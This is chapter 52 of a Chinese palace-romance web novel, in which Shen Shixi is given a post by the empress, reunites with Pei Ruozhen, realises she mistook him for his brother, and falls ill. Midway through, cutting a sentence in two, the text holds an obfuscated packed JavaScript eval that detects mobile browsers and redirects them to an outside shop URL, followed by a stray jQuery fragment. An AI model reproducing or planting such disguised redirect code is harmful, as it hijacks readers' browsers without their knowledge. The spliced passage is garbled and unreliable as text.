52. 第 52 章
    受凤仪宫中热气的影响,她的意识全部恢复了。

    “哼,怎么,你竟也会怕死么?”

    皇后一开口就是这句,沈时溪顿时明白,原来那些宫女都是皇后授意的,这就是考验么?

    “人谁不怕死呢?我只是明白了,死也不能就这样不明不白,我还有很多事情要做。”

    “哦?”

    皇后瘫在榻上的身子立马直挺起来,饶有兴致地看着眼前人。

    “你说说看。”

    “回首半生,我过得太窝囊,我要为自己而活,过自己的生活,其余的,不考虑、不在乎,这就是我的选择,皇后娘娘,我不需要功名利禄,只要自由,婚姻自由、人身自由。”

    皇后面色突变,桌上的杯子落下,掉得粉碎。

    “你似乎没得选。”

    世上本就没有绝对的自由,她自己也做不到的事,当然答应不了沈时溪。

    “多谢娘娘成全。”

    旁人皆是一惊,皇后愕然。

    “你这话什么意思?”

    “我的身份娘娘不会不知,一个私生女,我的真实身份要是让人知道,于定安王府不利,就算是我以往的身份,前朝余孽,您以为如何?我这样的存在,想必您也是避之不及的,既然如此,您不如放我离去。”

    皇后微微招手,一旁伺候的侍女了然,接连退下。

    “明日起,你入飞云殿,任职副统领,不可推脱。”

    “为何?”

    沈时溪不明白,话已经说到这个份上了,皇后没理由留下她。

    她的存在对定安王府以及皇宫都是风险。

    “沈时溪,你说的话不无道理,本宫没有看错人,你和桂荣下去歇着,明日起上任。”

    皇后闭上眼睛,这件事已经没有商量的余地了。

    沈时溪也只能听从,隔着桂荣出了宫殿,感受到寒气侵入自己的皮肉,穿进骨头,又痛又冷,难受极了。

    “副统领今日的话不可谓不大胆,这些话不可再说了。”

    “多谢嬷嬷,我明白,不会再说。”

    这些事情她没有选择的余地。

    与桂荣分别之后,她看到一行人在外面等着,其中一人就是刚才遇到的那个太监。

    这人竟然还挺热心,是个好人。

    “你竟然追到这里来了,我多谢你。”

    裴若臻激动地看着她。

    十年不见,五年未曾联络,他恨过、怨过,可总是想起她,尽管他身旁有无数的人,可最在意的还是她,还是当年那个喜欢欺负他的小女子。

    “阿时。”

    沈时溪一愣,这名字,已经很久没人叫过了,上一次还是裴玄朗叫过的。

    这人怎么会知道她的诨名呢?

    “你,你是什么人?你知道我!”

    沈时溪确定自己不认识这人。

    “我,我是裴,裴若臻。”

    “裴若臻,不认识。”

    和裴玄朗同样姓裴,难道是同宗族的兄弟吗?

    难道他们经常聊起她?

    裴若臻心口聚集一口恶气。

    “沈时溪,你欠我一个解释,为什么五年前就不再回我的信?你知道这五年我是如何过的吗?”

    他尽量控制自己的情绪,毕竟这里是凤仪宫。

    “五年?我不明白你在说什么。”

    沈时溪回忆了一下,记忆中确实没这个人的印象。

    “咳咳咳,你们,一边吵去。”

    罗煞说完,用剑鞘推搡着二人到无人之地。

    “若臻,什么情况?”

    裴若臻没有回答,直勾勾地看着沈时溪。

    “阿时,你遇到了什么难处?”

    他小心翼翼地接近。

    她冷冷地说道:

    “你为什么知道这个名字,你到底是谁。”

    裴若臻亮出了荷包。

    “这个给你,你最不喜欢别人碰了,对不起,我又碰了它,我算是明白你为什么不联系了,原来我们的情谊,挡不住千里之途。”

    他满眼泪光,在月光下熠熠生辉。

    沈时溪接过荷包,满脸的不可置信。

    “这个我只和一个人说过,裴……”

    “对,就是我,我就知道你没忘。”

    那两字还没说出口,裴若臻就激动地抱了上来。

    “阿时,记得就好,对了,地上凉,你穿我的。”

    他忙不迭脱下自己的鞋,给她穿上。

    旧日记忆涌上心头,那次纪琳为了练她的胆子,把她一个人扔到了野外,沈时溪被机智野狗追,危急时刻她迫不得已脱鞋击打它们,然后跳入河中,最后到了“裴玄朗”修养的地方,难道,难道这出了什么差错?

    “还记得第一次见面你就顺走了我的鞋,可记得还我啊。”

    “啊?”

    她浑身僵硬得不像话。

    “哼,骗你的,你是不是遇到了什么事,五年前,我想去找你,但是爹娘说什么也不让,我没法让他们同意,阿时……”

    他紧紧握住她的手,眼里无尽的情意。

    沈时溪有点不知所措,既然他是,那裴玄朗呢?

    “裴玄朗是你的?”

    “你知道兄长?呃,也对。兄长前往泉州,你们见过不稀奇,怎么?”

    裴若臻眼神严肃起来,紧盯她脸上的每一个表情。

    沈时溪冷得不行,没空把神情展露在脸上。

    “见,见过,没事。”

    他再度脱衣,盖在她身上。

    一旁看戏的罗煞走了过来。

    “感情你们是?”

    笑容逐渐展开,他继续说,“你小子,又有红颜了……”

    裴若臻急忙捂住他的嘴。

    “瞎说什么,我哪来的什么红颜,我只认定一个。”

    “哦~那都是过客对吧,兄弟懂你,只是她的样子看起来不太妙,你得去一趟太医院,找个太医瞧瞧,这冷气,我们大男人都受不了更何况她了,还有,你行走内宫别老乱闯,被飞云殿那几个娘们知道,有你好看的。”

    “我知道,多谢提醒。”

    裴若臻心中骇然,过去发生了许多事情,纵使他身边女子无数,可阿时的地位是难以顶替的,也不知方才那些话,她听进去了没有。

    “阿时,你还能走吗?”

    “我可以。”

    沈时溪大步走在最前方,冷风吹打□□,她却觉得心口被刺了一刀。

    她认错了,竟然认错了,难怪这其中有那么多的弊病。

    那当初,也是认错了吗?她仅仅因为裴玄朗是靖远侯

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222935|143991||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的儿子就认错,真是笨到了极点。

    可大错已经铸成,看样子裴哥哥对她仍旧有情,她该这么办。

    身体抖动的幅度急剧上升,意识逐渐涣散,她气结于胸,吐出一口鲜血。

    后方的裴若臻吓得魂不附体,飞奔上来,也不管她的意愿了,抱她起身。

    “阿时,对不起。”

    沈时溪恍惚中把他的脸看成裴玄朗的了。

    纤细的手指抚摸脸庞。

    “你怎么现在才来,混蛋!”

    泪水抑制不住地下流。

    裴若臻停顿片刻,嘴角噙着笑,原来在她心里也是有他的。

    想到这里,他健步如飞,转眼间就到了太医署。

    “叫太医,快去。”

    守门的小李子认得他,太子殿下的伴读,新科探花郎,今日来风头无两。

    “哦,是是是。”

    小李子急冲冲地入内找来了刘太医,太医扶扶自己的老花眼镜,终于看清了来人面孔。

    “先把人放下。”

    裴若臻将人放在地上的木架上。

    “寒气侵体,这几日养养也就好了,只是探花郎,老夫提醒你一句,外臣入宫就算有圣旨也不能胡来。”

    刘太医见女子容貌无双,一时误会了。

    裴若臻攥紧了她的手。

    “这是我的未婚妻。”

    “哦,难怪……”

    他捋捋自己的胡须,随后留下药房给下人,自己入内去研习药典。

    沈时溪再次清醒时已经临近丑时了。

    她记得看到裴玄朗了,偏头看向守着她的男人,只是侧脸。

    “你来了。声音很轻,她不忍心吵醒他,只是用手拨弄他的头发。

    残月还遗留在上空。

    裴若臻极其敏感,早在她发出动静的那一刻就醒了,只是没想到她会如此。

    他慢慢睁眼,伸手摸她的头。

    沈时溪见到完整的面容,动作立马收了回去。

    裴若臻及时拉着她的手。

    “阿时,都是我的错,我没有及时去找你,既然来了,那么我会让娘做主,我们,早日完婚。”

    “啊?这,这么快!”

    沈时溪不愿,她心中一团乱麻,如果是裴玄朗,就是现在成亲,她不会犹豫分毫,可是,可是全错了,乱了套了,她得再好好想想。

    她烦躁地揉自己的头发。

    “那,等你再适应一下,是我太着急了,阿时,我们来日方长。”

    “嗯。”

    她暗中用余光打量他,这人还是和从前一样,但是莫名有种疏离感,难道是因为她太亲近裴玄朗了吗?

    从前的十年,这段感情支撑她不至于崩溃,这两年中,她遇到了裴玄朗,那样的人,对她来说同样重要。

    “你,那个,你为何会在宫里?”

    只是面对面坐着有些太无趣了,她想找点话聊聊,也熟悉一下他。

    “我是太子殿下伴读,经常出入皇宫,今日出了些意外,我迷了路,误入内宫,幸好皇后未曾发现,那你呢?怎么出现在宫里。”

    “我,一言难尽……”

    她那这段时间的际遇,除了有关裴玄朗的事,都一一给他说了。

    “阿时,想来,纪大统领也是为你好。”